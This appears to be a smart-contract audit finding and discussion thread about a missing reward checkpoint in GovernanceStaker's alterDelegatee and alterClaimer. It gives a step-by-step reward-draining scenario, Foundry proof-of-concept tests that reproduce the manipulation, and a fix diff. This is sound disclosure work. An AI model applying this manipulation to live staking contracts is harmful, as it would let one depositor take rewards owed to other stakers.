Updating earning power for deposit without checkpointing rewards can lead to draining of all rewards

[CergyK]

Description

When the earning power (total or per deposit) changes, rewards are checkpointed to avoid manipulation. Unfortunately for the functions alterDelegatee and alterClaimer the rewards are not updated and this can lead draining of rewards for all participants as described in the scenario below

Scenario

Pre-conditions

• BinaryEligibilityOracleEarningPowerCalculator is used as earning power calculator

• There exists one delegatee D_valid which has a 100 score, and a delegatee D_invalid with a zero score.

• Alice has a position of balance 500 delegated to D_valid

• Total earning power in GovernanceStaker is 1000

Steps

Some time passes and Alice is eligible for rewards, instead of claiming them directly, Alice does the following:

• Alice delegates her position to D_invalid, total earning power becomes 500

• Alice checkpoints global rewards (for example Alice can create a small new position)

• Alice delegates her position to D_valid, her earning power is now 500 but rewardsPerTokenAccumulated has been computed with totalEarningPower being 500. This means Alice claims the rewards which were meant for all participants.

Please note that Unistaker does not checkpoint rewards for alterDelegatee and alterClaimer but it is safe in doing so, because these functions do not modify individual earning powers.

Impact

All of the rewards available at a given time can be drained by a malicious depositor

Recommendation

Please consider adding checkpointing of rewards to _alterDelegatee and _alterClaimer:

GovernanceStaker.sol#L619-L624:

  function _alterDelegatee(
    Deposit storage deposit,
    DepositIdentifier _depositId,
    address _newDelegatee
  ) internal virtual {
    _revertIfAddressZero(_newDelegatee);

+   _checkpointGlobalReward();
+   _checkpointReward(deposit);

GovernanceStaker.sol#L645-L650:

  function _alterClaimer(
    Deposit storage deposit,
    DepositIdentifier _depositId,
    address _newClaimer
  ) internal virtual {
    _revertIfAddressZero(_newClaimer);

+   _checkpointGlobalReward();
+   _checkpointReward(deposit);

[alexkeating]

I am having trouble recreating this draining scenario via a test. Is there something I am doing wrong here from the stated scenario, or do you have a test that proves this behavior?

  function test_x() public {
    earningPowerCalculator.__setEarningPowerForDelegatee(address(0x1), 0);
    earningPowerCalculator.__setEarningPowerForDelegatee(address(0x2), 500e18);

    address _doe = makeAddr("doe");
    _mintGovToken(_doe, 500e18);
    _stake(_doe, 500e18, address(0x2));

    address _fox = makeAddr("fox");
    _mintGovToken(_fox, 500e18);
    _stake(_fox, 500e18, address(0x2));

    rewardToken.mint(rewardNotifier, 1_000_000e18);
    // The contract is notified of a reward
    vm.startPrank(rewardNotifier);
    rewardToken.transfer(address(govStaker), 1_000_000e18);
    govStaker.notifyRewardAmount(1_000_000e18);
    vm.stopPrank();

    vm.prank(_fox);
    govStaker.alterDelegatee(GovernanceStaker.DepositIdentifier.wrap(1), address(0x1));

    _mintGovToken(_fox, 0);
    _stake(_fox, 0, address(0x1));

    _jumpAhead(100);

    vm.prank(_fox);
    govStaker.alterDelegatee(GovernanceStaker.DepositIdentifier.wrap(1), address(0x2));

    console2.logUint(govStaker.unclaimedReward(GovernanceStaker.DepositIdentifier.wrap(0)));
    console2.logUint(govStaker.unclaimedReward(GovernanceStaker.DepositIdentifier.wrap(1)));

    vm.prank(_fox);
    govStaker.claimReward(GovernanceStaker.DepositIdentifier.wrap(1));

    console2.logUint(govStaker.unclaimedReward(GovernanceStaker.DepositIdentifier.wrap(0)));
    console2.logUint(govStaker.unclaimedReward(GovernanceStaker.DepositIdentifier.wrap(1)));

    vm.prank(_doe);
    govStaker.claimReward(GovernanceStaker.DepositIdentifier.wrap(0));

    console2.logUint(rewardToken.balanceOf(_doe));
    console2.logUint(rewardToken.balanceOf(_fox));
  }

[CergyK]

Thanks for creating this test.

Here are the updated/commented tests which demonstrate the manipulation (and compare against expected behavior). The mistake in your test was calling _jumpAhead after the manipulation, which made the manipulation useless (attempt to checkpoint global rewards when none had accumulated yet).

  function test_manipulation() public {
    earningPowerCalculator.__setEarningPowerForDelegatee(address(0x1), 0);
    earningPowerCalculator.__setEarningPowerForDelegatee(address(0x2), 500e18);

    address _doe = makeAddr("doe");
    _mintGovToken(_doe, 500e18);
    _stake(_doe, 500e18, address(0x2));

    address _fox = makeAddr("fox");

    //!audit-ok Step 1, fox deposits with full earning power
    _mintGovToken(_fox, 500e18);
    _stake(_fox, 500e18, address(0x2));

    //!audit-ok some rewards are sent
    rewardToken.mint(rewardNotifier, 1_000_000e18);
    // The contract is notified of a reward
    vm.startPrank(rewardNotifier);
    rewardToken.transfer(address(govStaker), 1_000_000e18);
    govStaker.notifyRewardAmount(1_000_000e18);
    vm.stopPrank();

    //!audit-ok some time passes and fox becomes eligible
    _jumpAhead(100);
    
    /*
    * Begin manipulation
    */

    //!audit-ok fox alters delegatee
    vm.prank(_fox);
    govStaker.alterDelegatee(GovernanceStaker.DepositIdentifier.wrap(1), address(0x1));

    //!audit-ok fox checkpoints global rewards
    _mintGovToken(_fox, 0);
    _stake(_fox, 0, address(0x1));

    //!audit-ok fox alters back to valid delegatee
    vm.prank(_fox);
    govStaker.alterDelegatee(GovernanceStaker.DepositIdentifier.wrap(1), address(0x2));

    /*
    * End manipulation
    */

    console2.logUint(govStaker.unclaimedReward(GovernanceStaker.DepositIdentifier.wrap(0)));
    console2.logUint(govStaker.unclaimedReward(GovernanceStaker.DepositIdentifier.wrap(1)));

    //!audit-ok fox claims double the rewards
    vm.prank(_fox);
    govStaker.claimReward(GovernanceStaker.DepositIdentifier.wrap(1));

    console2.logUint(govStaker.unclaimedReward(GovernanceStaker.DepositIdentifier.wrap(0)));
    console2.logUint(govStaker.unclaimedReward(GovernanceStaker.DepositIdentifier.wrap(1)));

    //!audit-ok doe claims double the rewards (the share inflation is valid for everybody)
    vm.prank(_doe);
    govStaker.claimReward(GovernanceStaker.DepositIdentifier.wrap(0));

    console2.logUint(rewardToken.balanceOf(_doe)); // 38580246913580246913
    console2.logUint(rewardToken.balanceOf(_fox)); // 38580246913580246913
  }

  function test_no_manipulation() public {
    earningPowerCalculator.__setEarningPowerForDelegatee(address(0x1), 0);
    earningPowerCalculator.__setEarningPowerForDelegatee(address(0x2), 500e18);

    address _doe = makeAddr("doe");
    _mintGovToken(_doe, 500e18);
    _stake(_doe, 500e18, address(0x2));

    address _fox = makeAddr("fox");

    //!audit-ok Step 1, fox deposits with full earning power
    _mintGovToken(_fox, 500e18);
    _stake(_fox, 500e18, address(0x2));

    //!audit-ok some rewards are sent
    rewardToken.mint(rewardNotifier, 1_000_000e18);
    // The contract is notified of a reward
    vm.startPrank(rewardNotifier);
    rewardToken.transfer(address(govStaker), 1_000_000e18);
    govStaker.notifyRewardAmount(1_000_000e18);
    vm.stopPrank();

    //!audit-ok some time passes and fox becomes eligible
    _jumpAhead(100);
    
    /*
    * No manipulation
    */

    console2.logUint(govStaker.unclaimedReward(GovernanceStaker.DepositIdentifier.wrap(0)));
    console2.logUint(govStaker.unclaimedReward(GovernanceStaker.DepositIdentifier.wrap(1)));

    //!audit-ok fox claims normal rewards
    vm.prank(_fox);
    govStaker.claimReward(GovernanceStaker.DepositIdentifier.wrap(1));

    console2.logUint(govStaker.unclaimedReward(GovernanceStaker.DepositIdentifier.wrap(0)));
    console2.logUint(govStaker.unclaimedReward(GovernanceStaker.DepositIdentifier.wrap(1)));

    //!audit-ok doe claims normal rewards
    vm.prank(_doe);
    govStaker.claimReward(GovernanceStaker.DepositIdentifier.wrap(0));

    console2.logUint(rewardToken.balanceOf(_doe)); // 19290123456790123456
    console2.logUint(rewardToken.balanceOf(_fox)); // 19290123456790123456
  }

[alexkeating]

Will fix

[CergyK]

Fixed by withtally/staker#88